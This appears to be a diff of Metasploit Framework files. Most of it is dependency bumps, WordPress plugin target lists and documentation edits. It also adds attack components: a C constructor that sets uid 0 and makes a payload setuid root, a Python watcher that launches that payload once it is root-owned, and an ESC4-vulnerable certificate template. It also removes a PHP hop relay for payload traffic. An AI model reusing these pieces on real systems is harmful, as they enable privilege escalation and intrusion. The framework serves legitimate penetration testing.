@@ -40,7 +41,7 @@ cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.0, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
date, 3.4.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.2, "Apache 2.0"
|
||||
@@ -61,6 +62,7 @@ faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
fiddle, 1.1.6, "ruby, Simplified BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
getoptlong, 0.2.1, "ruby, Simplified BSD"
|
||||
@@ -88,15 +90,15 @@ memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.41, "New BSD"
|
||||
metasploit-framework, 6.4.53, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.5, "New BSD"
|
||||
metasploit_data_models, 6.0.6, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mini_portile2, 2.8.7, MIT
|
||||
mini_portile2, 2.8.8, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
@@ -113,12 +115,13 @@ net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.16.7, MIT
|
||||
nokogiri, 1.18.2, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
ostruct, 0.6.1, "ruby, Simplified BSD"
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.26.3, MIT
|
||||
parser, 3.3.5.0, MIT
|
||||
@@ -139,7 +142,7 @@ rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8.6, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rasn1, 0.14.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.11, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
@@ -152,14 +155,14 @@ rex-core, 0.1.32, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.40, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-mime, 0.1.11, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.100, "New BSD"
|
||||
rex-random_identifier, 0.1.13, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-socket, 0.1.58, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.59, "New BSD"
|
||||
|
||||
@@ -10,6 +10,8 @@ info:
|
||||
x-cortex-type: service
|
||||
x-cortex-domain-parents:
|
||||
- tag: metasploit
|
||||
x-cortex-groups:
|
||||
- exposure:external-ship
|
||||
openapi: 3.0.1
|
||||
servers:
|
||||
- url: "/"
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC4 (certificate has weak edit permissions).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users (this is what makes the template vulnerable to ESC4)
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Server Authentication OID (Not necessary although if left blank this template would also be vulnerable to ESC2)
|
||||
- 1.3.6.1.5.5.7.3.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -387,3 +387,12 @@ queries:
|
||||
references:
|
||||
- https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
|
||||
- https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
|
||||
- action: ENUM_SCCM_MANAGEMENT_POINTS
|
||||
description: 'Find all registered SCCM/MECM management points'
|
||||
filter: '(objectclass=mssmsmanagementpoint)'
|
||||
attributes:
|
||||
- cn
|
||||
- dNSHostname
|
||||
- msSMSSiteCode
|
||||
references:
|
||||
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
|
||||
+1
-1
@@ -13,4 +13,4 @@ responsible for corrupting the Metasploit Framework installation.
|
||||
|
||||
For more information about EICAR, please see the following web site:
|
||||
|
||||
http://www.eicar.org/anti_virus_test_file.htm
|
||||
https://www.eicar.org/download-anti-malware-testfile/
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
/*
|
||||
// system call
|
||||
#include <stdlib.h>
|
||||
// setuid, setgid
|
||||
#include <unistd.h>
|
||||
|
||||
static void a() __attribute__((constructor));
|
||||
|
||||
void a() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
|
||||
system(shell);
|
||||
}
|
||||
*/
|
||||
|
||||
extern int setuid(int);
|
||||
extern int setgid(int);
|
||||
extern int system(const char *__s);
|
||||
|
||||
void a(void) __attribute__((constructor));
|
||||
|
||||
void __attribute__((constructor)) a() {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
import os
|
||||
import time
|
||||
import pwd
|
||||
|
||||
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
file_stat = os.stat('PAYLOAD_PATH')
|
||||
except FileNotFoundError:
|
||||
exit()
|
||||
username = pwd.getpwuid(file_stat.st_uid).pw_name
|
||||
#print(f"Payload owned by: {username}. Stats: {file_stat}")
|
||||
if (username == 'root'):
|
||||
os.system('PAYLOAD_PATH &')
|
||||
exit()
|
||||
time.sleep(1)
|
||||
@@ -1,68 +0,0 @@
|
||||
<?php
|
||||
$magic = 'TzGq';
|
||||
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
|
||||
if(!is_dir($tempdir)){
|
||||
mkdir($tempdir); //make sure it's there
|
||||
}
|
||||
|
||||
//get url
|
||||
$url = $_SERVER["QUERY_STRING"];
|
||||
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
|
||||
|
||||
//Looks for a file with a name or contents prefix, if found, send it and deletes it
|
||||
function findSendDelete($tempdir, $prefix, $one=true){
|
||||
if($dh = opendir($tempdir)){
|
||||
while(($file = readdir($dh)) !== false){
|
||||
if(strpos($file, $prefix) !== 0){
|
||||
continue;
|
||||
}
|
||||
readfile($tempdir."/".$file);
|
||||
unlink($tempdir."/".$file);
|
||||
if($one){
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//handle control
|
||||
if($url === "/control"){
|
||||
if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//handle data for payload - save in a "down" file or the "init" file
|
||||
$postdata = file_get_contents("php://input");
|
||||
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
|
||||
$f = fopen($tempdir."/init", "w"); //only one init file
|
||||
}else{
|
||||
$prefix = "down_" . sha1($_SERVER['HTTP_X_URLFRAG']);
|
||||
$f = fopen(tempnam($tempdir,$prefix), "w");
|
||||
}
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
}else{
|
||||
findSendDelete($tempdir, "up_", false);
|
||||
}
|
||||
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//get data
|
||||
$postdata = file_get_contents("php://input");
|
||||
//See if we should send anything down
|
||||
if($postdata === "RECV\x00" || $postdata === "RECV"){
|
||||
findSendDelete($tempdir, "down_" . sha1($url));
|
||||
$fname = $tempdir . "/up_recv_" . sha1($url); //Only keep one RECV poll
|
||||
}else{
|
||||
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
|
||||
}
|
||||
//find free and write new file
|
||||
$f = fopen($fname, "w");
|
||||
fwrite($f, $magic);
|
||||
//Little-endian pack length and data
|
||||
$urlen = strlen($url);
|
||||
fwrite($f, pack('V', $urlen));
|
||||
fwrite($f, $url);
|
||||
$postdatalen = strlen($postdata);
|
||||
fwrite($f, pack('V', $postdatalen));
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
//Initial query will be a GET and have a 12345 in it
|
||||
}else if(strpos($url, "12345") !== FALSE){
|
||||
readfile($tempdir."/init");
|
||||
}
|
||||
@@ -9,7 +9,7 @@ ehdr: ; Elf32_Ehdr
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 0xB7 ; e_machine = AARCH64
|
||||
dd 0 ; e_version
|
||||
dd 1 ; e_version
|
||||
dq _start ; e_entry
|
||||
dq phdr - $$ ; e_phoff
|
||||
dq 0 ; e_shoff
|
||||
|
||||
Binary file not shown.
@@ -1,71 +1,70 @@
|
||||
wordpress-popular-posts
|
||||
backup
|
||||
catch-themes-demo-import
|
||||
modern-events-calendar-lite
|
||||
ninja-forms
|
||||
simple-file-list
|
||||
sp-client-document-manager
|
||||
drag-and-drop-multiple-file-upload-contact-form-7
|
||||
wp-file-manager
|
||||
duplicator
|
||||
work-the-flow-file-upload
|
||||
ajax-load-more
|
||||
wpdiscuz
|
||||
wptouch
|
||||
front-end-editor
|
||||
wpshop
|
||||
plainview-activity-monitor
|
||||
sexy-contact-form
|
||||
all-in-one-wp-migration
|
||||
backup
|
||||
backup-backup
|
||||
boldgrid-backup
|
||||
bookingpress
|
||||
bulletproof-security
|
||||
catch-themes-demo-import
|
||||
chopslider
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
download-manager
|
||||
drag-and-drop-multiple-file-upload-contact-form-7
|
||||
dukapress
|
||||
duplicator
|
||||
duplicator_download
|
||||
easy-wp-smtp
|
||||
elementor
|
||||
email-subscribers
|
||||
file-manager-advanced-shortcode
|
||||
front-end-editor
|
||||
gi-media-library
|
||||
give
|
||||
hash-form
|
||||
inboundio-marketing
|
||||
wp-mobile-detector
|
||||
website-contact-form-with-file-upload
|
||||
slideshow-gallery
|
||||
reflex-gallery
|
||||
wp-symposium
|
||||
learnpress
|
||||
loginizer
|
||||
masterstudy-lms-learning-management-system
|
||||
modern-events-calendar-lite
|
||||
modern-events-calendar-lite
|
||||
nextgen-gallery
|
||||
ninja-forms
|
||||
paid-memberships-pro
|
||||
perfect-survey
|
||||
photo-gallery
|
||||
pie-register
|
||||
wysija-newsletters
|
||||
dzs-zoomsounds
|
||||
all-in-one-wp-migration
|
||||
wp-ultimate-csv-importer
|
||||
wp-symposium
|
||||
masterstudy-lms-learning-management-system
|
||||
wp-gdpr-compliance
|
||||
wp-automatic
|
||||
wp-easycart
|
||||
dukapress
|
||||
loginizer
|
||||
email-subscribers
|
||||
wps-hide-login
|
||||
secure-copy-content-protection
|
||||
wordpress-mobile-pack
|
||||
learnpress
|
||||
wp-mobile-edition
|
||||
boldgrid-backup
|
||||
modern-events-calendar-lite
|
||||
gi-media-library
|
||||
chopslider
|
||||
bulletproof-security
|
||||
nextgen-gallery
|
||||
simple-backup
|
||||
subscribe-to-comments
|
||||
easy-wp-smtp
|
||||
duplicator_download
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
woocommerce-abandoned-cart
|
||||
elementor
|
||||
bookingpress
|
||||
paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
hash-form
|
||||
give
|
||||
ultimate-member
|
||||
wp-fastest-cache
|
||||
plainview-activity-monitor
|
||||
post-smtp
|
||||
really-simple-ssl
|
||||
perfect-survey
|
||||
reflex-gallery
|
||||
royal-elementor-addons
|
||||
secure-copy-content-protection
|
||||
sexy-contact-form
|
||||
simple-backup
|
||||
simple-file-list
|
||||
slideshow-gallery
|
||||
sp-client-document-manager
|
||||
subscribe-to-comments
|
||||
ultimate-member
|
||||
website-contact-form-with-file-upload
|
||||
woocommerce-abandoned-cart
|
||||
woocommerce-payments
|
||||
wordpress-mobile-pack
|
||||
wordpress-popular-posts
|
||||
work-the-flow-file-upload
|
||||
wp-automatic
|
||||
wp-easycart
|
||||
wp-fastest-cache
|
||||
wp-file-manager
|
||||
wp-gdpr-compliance
|
||||
wp-mobile-detector
|
||||
wp-mobile-edition
|
||||
wp-symposium
|
||||
wp-symposium
|
||||
wp-time-capsule
|
||||
wp-ultimate-csv-importer
|
||||
wpdiscuz
|
||||
wps-hide-login
|
||||
wpshop
|
||||
wptouch
|
||||
wysija-newsletters
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
bricks
|
||||
holding_pattern
|
||||
wplms
|
||||
bricks
|
||||
|
||||
+6893
-1
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+25347
-50155
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -76,7 +76,7 @@ GEM
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.3.9)
|
||||
rexml (3.4.0)
|
||||
rouge (4.5.1)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
|
||||
@@ -146,7 +146,7 @@ register_options(
|
||||
], self.class)
|
||||
```
|
||||
|
||||
**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request**
|
||||
**8. Neglecting to use send_request_cgi()'s vars_post or vars_get when crafting a POST/GET request**
|
||||
|
||||
```ruby
|
||||
data_post = 'user=jsmith&pass=hello123'
|
||||
@@ -199,4 +199,4 @@ Metasploit3.new
|
||||
```ruby
|
||||
# https://github.com/rapid7/metasploit-framework/issues/3853
|
||||
datastore['BAD'] = 'This is bad.'
|
||||
```
|
||||
```
|
||||
|
||||
@@ -112,6 +112,11 @@ end
|
||||
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
|
||||
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
|
||||
|
||||
### Non-required fields
|
||||
|
||||
* **Stance** - The types of stances an exploit can take, such as passive or aggressive. Stances indicate whether or not the module triggers the exploit without waiting for one or more conditions to be met (aggressive) or whether it must wait for certain conditions to be satisfied before the exploit can be initiated (passive). Passive exploits usually would wait for interaction from a client or other entity for being able to trigger the vulnerability.
|
||||
|
||||
* **Passive** - Either `true` or `false` indicates whether or not the exploit should be run as a background job. If for example you know the vulnerability takes an hour to trigger, setting `Passive` to `true` would be beneficial as it allows the user to continue using msfconsole while waiting for a response from the exploit.
|
||||
|
||||
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
|
||||
|
||||
|
||||
@@ -201,7 +201,7 @@ This data breaks down to the following table:
|
||||
| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password1! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
|
||||
@@ -18,7 +18,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
|
||||
|
||||
The current configuration can be printed by running `dns print`:
|
||||
|
||||
```msf6
|
||||
```msf
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
|
||||
+34
-41
@@ -23,34 +23,27 @@ msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
|
||||
The general steps to getting Oracle support working are to install the Oracle Instant Client and development libraries, install the required dependencies for Kali Linux, then install the gem.
|
||||
|
||||
## Install the Oracle Instant Client
|
||||
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are:
|
||||
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](https://www.oracle.com/database/technologies/instant-client/downloads.html) packages for your version of Kali Linux. The packages you will need are:
|
||||
|
||||
* instantclient-basic-linux-12.2.0.1.0.zip
|
||||
* instantclient-sqlplus-linux-12.2.0.1.0.zip
|
||||
* instantclient-sdk-linux-12.2.0.1.0.zip
|
||||
* [instantclient-basic-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-basic-linux.x64-23.6.0.24.10.zip)
|
||||
* [instantclient-sqlplus-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sqlplus-linux.x64-23.6.0.24.10.zip)
|
||||
* [instantclient-sdk-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sdk-linux.x64-23.6.0.24.10.zip)
|
||||
|
||||
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_2/`. Next symlink the shared library that we need to access the library from oracle:
|
||||
|
||||
```
|
||||
root@kali:/opt/oracle/instantclient_12_2# ln libclntsh.so.12.1 libclntsh.so
|
||||
|
||||
root@kali:/opt/oracle/instantclient_12_2# ls -lh libclntsh.so
|
||||
lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1
|
||||
```
|
||||
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_23_6/`.
|
||||
|
||||
You also need to configure the appropriate environment variables, perhaps by inserting them into your .bashrc file, logging out and back in for them to apply.
|
||||
|
||||
```
|
||||
export PATH=$PATH:/opt/oracle/instantclient_12_2
|
||||
export SQLPATH=/opt/oracle/instantclient_12_2
|
||||
export TNS_ADMIN=/opt/oracle/instantclient_12_2
|
||||
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_2
|
||||
export ORACLE_HOME=/opt/oracle/instantclient_12_2
|
||||
export PATH=$PATH:/opt/oracle/instantclient_23_6
|
||||
export SQLPATH=/opt/oracle/instantclient_23_6
|
||||
export TNS_ADMIN=/opt/oracle/instantclient_23_6
|
||||
export LD_LIBRARY_PATH=/opt/oracle/instantclient_23_6
|
||||
export ORACLE_HOME=/opt/oracle/instantclient_23_6
|
||||
```
|
||||
|
||||
If you have succeeded, you should be able to run `sqlplus` from a command prompt:
|
||||
```
|
||||
root@kali:/opt/oracle/instantclient_12_2# sqlplus
|
||||
root@kali:/opt/oracle/instantclient_23_6# sqlplus
|
||||
|
||||
SQL*Plus: Release 12.2.0.1.0 Production on Tue Mar 26 20:40:24 2019
|
||||
|
||||
@@ -64,40 +57,40 @@ Enter user-name:
|
||||
First, download and extract the gem source release:
|
||||
|
||||
```
|
||||
root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
|
||||
--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
|
||||
root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
|
||||
--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
|
||||
Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112
|
||||
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 [following]
|
||||
--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7
|
||||
Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14 [following]
|
||||
--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14
|
||||
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120, 192.30.253.121
|
||||
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: unspecified [application/zip]
|
||||
Saving to: 'ruby-oci8-2.2.7.zip'
|
||||
Saving to: 'ruby-oci8-2.2.14.zip'
|
||||
|
||||
ruby-oci8-2.2.7.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
|
||||
ruby-oci8-2.2.14.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
|
||||
|
||||
2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.7.zip' saved [386016]
|
||||
2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.14.zip' saved [386016]
|
||||
|
||||
root@kali:~# unzip ruby-oci8-2.2.7.zip
|
||||
Archive: ruby-oci8-2.2.7.zip
|
||||
root@kali:~# unzip ruby-oci8-2.2.14.zip
|
||||
Archive: ruby-oci8-2.2.14.zip
|
||||
0c85bf6da2f541de3236267b1a1b18f0136a8f5a
|
||||
creating: ruby-oci8-ruby-oci8-2.2.7/
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.7/.gitignore
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.7/.travis.yml
|
||||
creating: ruby-oci8-ruby-oci8-2.2.14/
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.14/.gitignore
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.14/.travis.yml
|
||||
[...]
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.7/test/test_rowid.rb
|
||||
root@kali:~# cd ruby-oci8-ruby-oci8-2.2.7/
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.14/test/test_rowid.rb
|
||||
root@kali:~# cd ruby-oci8-ruby-oci8-2.2.14/
|
||||
```
|
||||
|
||||
Install libgmp (needed to build the gem) and set the path to prefer the correct version of ruby so that Metasploit can use it.
|
||||
|
||||
```
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# export PATH=/opt/metasploit/ruby/bin:$PATH
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# export PATH=/opt/metasploit/ruby/bin:$PATH
|
||||
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# apt-get install libgmp-dev
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# apt-get install libgmp-dev
|
||||
Reading package lists... Done
|
||||
Building dependency tree
|
||||
Reading state information... Done
|
||||
@@ -117,7 +110,7 @@ Setting up libgmp-dev:amd64 (2:5.0.5+dfsg-2) ...
|
||||
Build and install the gem
|
||||
|
||||
```
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make
|
||||
ruby -w setup.rb config
|
||||
setup.rb:280: warning: assigned but unused variable - vname
|
||||
setup.rb:280: warning: assigned but unused variable - desc
|
||||
@@ -130,12 +123,12 @@ setup.rb:280: warning: assigned but unused variable - default2
|
||||
<--- lib
|
||||
---> ext
|
||||
---> ext/oci8
|
||||
/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8/extconf.rb
|
||||
/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8/extconf.rb
|
||||
checking for load library path...
|
||||
LD_LIBRARY_PATH...
|
||||
checking /opt/metasploit/ruby/lib... no
|
||||
checking /opt/oracle/instantclient_12_2... yes
|
||||
/opt/oracle/instantclient_12_2/libclntsh.so.12.1 looks like an instant client.
|
||||
checking /opt/oracle/instantclient_23_6... yes
|
||||
/opt/oracle/instantclient_23_6/libclntsh.so.12.1 looks like an instant client.
|
||||
checking for cc... ok
|
||||
checking for gcc... yes
|
||||
checking for LP64... yes
|
||||
@@ -144,11 +137,11 @@ checking for ruby header... ok
|
||||
checking for OCIInitialize() in oci.h... yes
|
||||
[...]
|
||||
linking shared-object oci8lib_250.so
|
||||
make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8'
|
||||
make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8'
|
||||
<--- ext/oci8
|
||||
<--- ext
|
||||
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make install
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make install
|
||||
ruby -w setup.rb install
|
||||
setup.rb:280: warning: assigned but unused variable - vname
|
||||
setup.rb:280: warning: assigned but unused variable - desc
|
||||
@@ -158,5 +151,5 @@ mkdir -p /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
|
||||
install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
|
||||
[...]
|
||||
<--- ext
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7#
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14#
|
||||
```
|
||||
|
||||
@@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
|
||||
options](#Filtering-datastore-options) section for more information.
|
||||
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
|
||||
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
|
||||
support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
|
||||
currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
|
||||
support gracefully checking a list of more generic fallbacks option names such as `Username`.
|
||||
|
||||
Now let's talk about what classes are available:
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
Payloads for Metasploit Framework can now be tested when opening pull requests. This is handled by GitHub actions within
|
||||
our CI, this workflow will build the payloads using the appropriate repositories and branches. It will then run our
|
||||
